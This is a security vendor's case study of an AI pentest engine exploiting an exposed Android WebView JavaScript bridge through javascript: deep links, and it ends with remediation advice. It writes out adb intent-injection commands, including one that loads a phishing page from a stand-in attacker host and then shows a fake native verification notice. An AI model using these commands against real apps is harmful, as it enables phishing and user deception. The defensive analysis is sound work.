Security

Javascript Interface Exposure

Ostorlab's Pentest Engine identified a JavaScript bridge exposure in an Android WebView, allowing unauthenticated native method invocation via deep links. This case study details how the engine bypassed insecure Intent handling to manipulate the native UI, validating a potent social engineering vector while confirming the effectiveness of the underlying sandbox.

Wed 07 January 2026

Introduction

Hybrid mobile applications often rely on a "bridge" to allow web content to communicate with the native Android layer. While this enables powerful features like native notifications or hardware access, it introduces a significant attack surface. If a native Java or Kotlin object is exposed to an untrusted JavaScript context, it can lead to UI manipulation, social engineering, or even remote code execution.

The WebView.addJavascriptInterface(Object object, String name) method injects a supplied object into the WebView’s JavaScript context, allowing JavaScript to invoke explicitly annotated native methods via @JavascriptInterface. Historically, this API was the source of a critical vulnerability on Android versions prior to 4.2, where unrestricted reflection allowed JavaScript to achieve universal remote code execution within the application process. Modern Android versions mitigate this class of issues by requiring explicit annotations and restricting reflective access. However, if exposed methods perform sensitive operations or if untrusted JavaScript is allowed to execute within the WebView, the interface can still be abused to cross trust boundaries and manipulate native application behavior.

Understanding the Vulnerability

To understand why this finding is significant, we must look at two common Android components that, when combined, create a powerful exploit chain: the JavaScript Interface and Deep Link Intent Handling.

1. The JavaScript Interface

In Android, the WebView component allows apps to display web content. To let that web content "talk" back to the native Android code, developers use a "Bridge" created via the addJavascriptInterface method.

When a developer calls webView.addJavascriptInterface(new MyWebAppInterface(), "Android"), any JavaScript running inside that WebView can call methods within the MyWebAppInterface Java class as if they were native JS functions (e.g., window.Android.showToast(...)).

The Risk: If the WebView loads an untrusted website (via a Man-in-the-Middle attack or a malicious link), that website gains the ability to trigger native Java code.

Deep links allow external sources (like a browser or another app) to open specific screens within an application using a URI (e.g., myapp://profile).

When an application's "Gate" is poorly guarded, it might accept a javascript: URI as a deep link. For example: intent://target_activity?url=javascript:alert(window.Android.showToast('Hacked'))

If the app blindly loads this URL into its WebView, it isn't just loading a webpage, it is executing arbitrary code directly inside the application's secure context.

When these two elements collide, an attacker can remotely "reach into" the app. By sending a crafted link to a user, the attacker forces the app to open, injects malicious JavaScript into the internal WebView, and then uses the Bridge to manipulate native features.

Ostorlab Pentest Engine Overview

The Ostorlab Pentest Engine is an autonomous offensive security agent designed to emulate the reasoning and methodology of an expert human penetration tester powered by artificial intelligence. Unlike traditional scanners that rely on static, rule-based checks, the engine uses a dynamic "Reason and Act" framework to explore an application's attack surface.

How It Works: The Autonomous Loop

The engine operates through a continuous, iterative cycle that allows it to handle complex vulnerabilities like the JavaScript bridge exposure described in this case study:

  • Risk Modeling & Hypothesis Generation: Using methodologies like P.A.S.T.A., the engine first builds a threat model of the target. It generates specific hypotheses (e.g., "Can this deep link execute JavaScript to reach a native bridge?") rather than simply spraying payloads.
  • Specialized Subagents (Executors): The engine orchestrates a fleet of specialized subagents through the Ostorlab OXO platform. These executors use tools including monkey tester, crawlers, fuzzers, and taint engines.
  • Runtime Instrumentation & Dynamic Interaction: The engine operates within a live, controlled execution environment, layering instrumentation across technology stacks (Java, Swift, C/C++, Flutter). This allows it to "hook" into native behaviors, navigate complex UI flows—including authenticated areas with 2FA/OTP support—and inspect data as it flows between the web and native layers in real-time.
  • Adversarial Validation: To ensure accuracy and eliminate false positives, the engine includes a dedicated adversarial validation pass. It independently re-examines findings to confirm that a vulnerability is reproducible and presents a genuine risk.

By maintaining a curated memory of artifacts and observations, the pentest engine can "chain" findings together. In this case, it didn't just find a deep link; it reasoned that the deep link could be used as a delivery mechanism for a JavaScript payload, which could then interact with an enumerated native interface.

The Attack Narrative

During a recent benchmark testing, Ostorlab's Pentest Engine identified a gap in a hybrid application's WebView implementation. By systematically probing the application's deep link handlers, it discovered an exposed JavaScript interface that allowed JavaScript executing within the WebView to trigger native UI elements without explicit user consent.

Step 1: Bridge Discovery and Enumeration

The engine's first objective was to map the available attack surface by identifying native objects injected into the WebView's JavaScript context.

Bridge Discovery: Identify exposed bridge objects and methods from the JavaScript context. Goal: Enumerate accessible methods to determine the native attack surface.

Execution Summary: The Engine used Object.getOwnPropertyNames() to list properties of the global window object and identified a custom interface.

Result: A bridge object named Android was discovered. Further enumeration identified a single accessible method: showToast(String message).

Conclusion: The application exposes a native bridge. While the method list is minimal, the lack of origin restrictions means any page loaded within the WebView—including those injected via deep links—can invoke native UI logic.

Step 2: Validating the Injection Vector

Knowing a bridge existed, the engine moved to identify a mechanism to interact with it from an external, untrusted source. It discovered that the application’s deep link handler was configured to process incoming Intents without sanitizing the URI scheme.

Verify if the Android bridge is accessible via deep link injection using a javascript: URI. Goal: Confirm if the WebView executes arbitrary code from external Intents.

Execution Summary: The Engine sent a malicious Intent to the vulnerable Activity (Activity2) using a javascript: payload designed to call the discovered bridge: adb shell am start -W -a android.intent.action.VIEW -n com.target.app/.Activity2 -d "javascript:Android.showToast('BRIDGE_ACCESS_TEST')".

Result: The command was successfully processed by the application. A native toast message appeared on the device screen with the text "BRIDGE_ACCESS_TEST," and Logcat entries confirmed the method invocation from the com.target.app package.

Conclusion: The injection vector is fully validated. Because the application fails to reject javascript: or data: URIs passed through Intents, any external application can force the WebView to execute code that interacts directly with the native Java interface.

Step 3: Probing for Escalation (Reflection & Injection)

With the bridge confirmed as accessible, the engine attempted to move beyond UI manipulation to identify more severe impacts, such as native code execution or command injection. The goal was to determine if the showToast method or the bridge itself could be used as a primitive to bypass the Android sandbox.

Attempt to bypass the sandbox by using reflection or command injection via the showToast method to achieve native code execution.

Execution Summary: The Engine systematically tested several advanced exploitation patterns:

  1. Reflection Testing: Attempted to access the getClass() method and use forName('java.lang.Runtime') to execute system commands.
  2. Command Injection: Tried injecting shell metacharacters and command separators (e.g., ;, &&, `) into the showToast parameter.
  3. Prototype Pollution: Attempted to inject malicious methods into the bridge object’s prototype.

Result: All escalation attempts were blocked:

  • Reflection: Access to getClass() was restricted, and attempts to chain methods to reach Runtime.exec() failed.
  • Command Injection: The native showToast implementation treated all inputs as a literal CharSequence, displaying the malicious strings as plain text on the screen rather than executing them.
  • Immutability: The bridge object was found to be immutable, preventing prototype pollution or method overriding.

Conclusion: The security controls at the method level are effective. While the bridge is exposed, it is "safely implemented," limiting the impact to transient UI effects and preventing escalation to native code execution or data exfiltration.

Step 4: Confirming Practical Impact (The Social Engineering Chain)

While the engine confirmed that direct native escalation was blocked, it pivoted to validate the practical business risk: social engineering. By leveraging the bridge's ability to display native UI elements, the Engine demonstrated how an attacker could manipulate user trust to facilitate credential theft or malware distribution.

Execute a multi-phase attack chain combining unauthenticated phishing content with an "official" native notification triggered via the bridge to assess social engineering impact.

Execution Summary: The Engine orchestrated a two-phase "Chained Attack" to simulate a real-world phishing scenario:

  1. Phishing Redirection: Used a deep link to force the WebView to load an external malicious URL: adb shell am start -n com.target.app/.Activity2 -d "https://attacker.com/phishing.html"

  2. Fake Notification Injection: Immediately followed the redirect by triggering an urgent native toast message via the bridge: adb shell am start -n com.target.app/.Activity2 -d "javascript:Android.showToast('🔒 New message: Account verification required')"

Result: The user experience was successfully hijacked. The application launched a phishing page while simultaneously displaying an official-looking native notification. This creates a powerful illusion that the request for "Account verification" is coming from the trusted local application rather than the malicious website.

Conclusion: This confirms a high potential for Business and User Privacy Impact. Even without data exfiltration or code execution, the bridge can be used for "Scareware" distribution or credential harvesting by misleading users about the application's true state.

Final Report

1. Executive Summary

The Ostorlab Pentest Engine discovered a JavaScript bridge exposure in the BankWebViewKt component of the target application. The Android bridge object is injected into the WebView without any origin validation or source verification. This vulnerability allows any JavaScript context—including those injected through unauthenticated deep links—to invoke the native showToast method. While the engine confirmed that native code execution and command injection are blocked by effective sandboxing at the method level, the vulnerability remains high-impact due to its potential for high-fidelity social engineering and user deception.

2. Methodology

The pentest engine followed a methodical, multi-stage process for testing native bridge security:

  • Bridge Discovery: Identified custom native interfaces by enumerating properties of the window object within the WebView.
  • Vector Analysis: Discovered that Activity2 processes deep links with javascript: URIs without sanitization, providing an entry point for external code.
  • Static Analysis: Pinpointed the vulnerable bridge injection in com.target.app/BankWebViewKt.java.
  • Escalation Probing: Systematically tested for Java reflection, command injection, and prototype pollution to determine the maximum exploitability.
  • Impact Scenario Testing: Validated the social engineering risk by chaining a phishing redirect with a fake native notification.

3. Findings

  • Unrestricted JavaScript Interface Exposure: The Android bridge is injected into the WebView without origin validation, making it accessible from any loaded page, including those injected via deep links. This represents a failure to enforce a proper trust boundary between web content and the native layer.
  • Unprotected Deep Links: The application allows javascript: and data: URIs to be processed via Intents without sanitization. This enables external apps to invoke bridge methods directly, providing a straightforward mechanism to manipulate the native UI.
  • Effective Bridge-Level Sandboxing: Attempts to escalate the bridge exposure to system-level code execution failed. The showToast method treats all input as literal strings, and the JavaScript interface object is immutable, preventing reflection, prototype pollution, or command injection.
  • No Rate Limiting: The bridge allows repeated invocations via deep links without restriction. Although this does not lead to code execution, it can enable rapid UI manipulations or “spam” notifications, which can be leveraged in social engineering scenarios.

4. Remediation

To address these findings, the following actions were recommended:

  • Remove or Restrict Access: If the bridge is not required, remove the addJavascriptInterface block entirely.
  • Origin Validation: If the bridge is necessary, implement a strict allowlist of trusted domains (e.g., using SecureWebViewClient) and verify the current origin before allowing method execution.
  • Sanitize Deep Links: Update the deep link handler in Activity2 to reject any Intent data starting with javascript: or data: schemes.
  • Apply Security Hardening: Disable unnecessary WebView features, such as file access and debugging in production builds, to reduce the overall attack surface.

5. Conclusion

This case study demonstrates that even a "safely implemented" bridge can pose a significant security risk when left exposed to external inputs. By emulating an attacker’s logical progression—from discovering the interface to crafting a functional social engineering chain—Ostorlab's Pentest Engine provided the definitive evidence needed to secure the hybrid interface.